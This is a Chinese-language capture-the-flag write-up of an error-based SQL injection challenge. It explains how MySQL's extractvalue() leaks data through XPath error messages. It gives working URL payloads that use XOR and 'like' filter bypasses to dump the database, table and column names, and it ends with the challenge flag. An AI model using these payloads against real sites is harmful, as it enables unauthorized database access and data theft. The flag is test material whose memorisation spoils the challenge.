來到sql注入騷姿勢,我們一點一點開始學
我們來到這道題,然后嘗試注入,結果發現
拼接'or '1'='1
'or '1'='2如果是字符型注入則會報錯,然而並沒有而是顯示的頁面一樣,
通過常規注入,回顯的頁面都是
最后,我們發現這道題是xpath報錯注入,函數注入
extractvalue()
extractvalue() :對XML文檔進行查詢的函數
語法:extractvalue(目標xml文檔,xml路徑)
第一個參數 : 第一個參數可以傳入目標xml文檔
第二個參數: xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯
tip: 還有要注意的地方是,它能夠查詢的字符串長度最大是32個字符,如果超過32位,我們就需要用函數來查詢,比如right(),left(),substr()來截取字符串
再舉個栗子:
SELECT ExtractValue('<a><b><b/></a>', '/a/b');
這個語句就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。
利用concat函數將想要獲得的數據庫內容拼接到第二個參數中,報錯時作為內容輸出。
知道這些知識之后,我們開始注入吧
百度了web 的騷操作
用’^'來連接函數,形成異或
這邊用的是extractvalue()
我們先去爆數據庫:
先構造payload:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
於是我們知道了庫名叫:geek
然后,我們再payload爆表名,但是這里把等於號給我們過濾了,不過我們還有騷操作like用法
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))
於是爆出表名:
爆列名:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
爆數據就完事了,這里因為用extractvalue()函數,一次只能顯示32個字符,我們需要用right函數
再用right函數,爆右邊,然后拼接一下flag
拼接然后得到flag
flag{62b5ffa6-498c-465f-94e5-ddc474f549dc}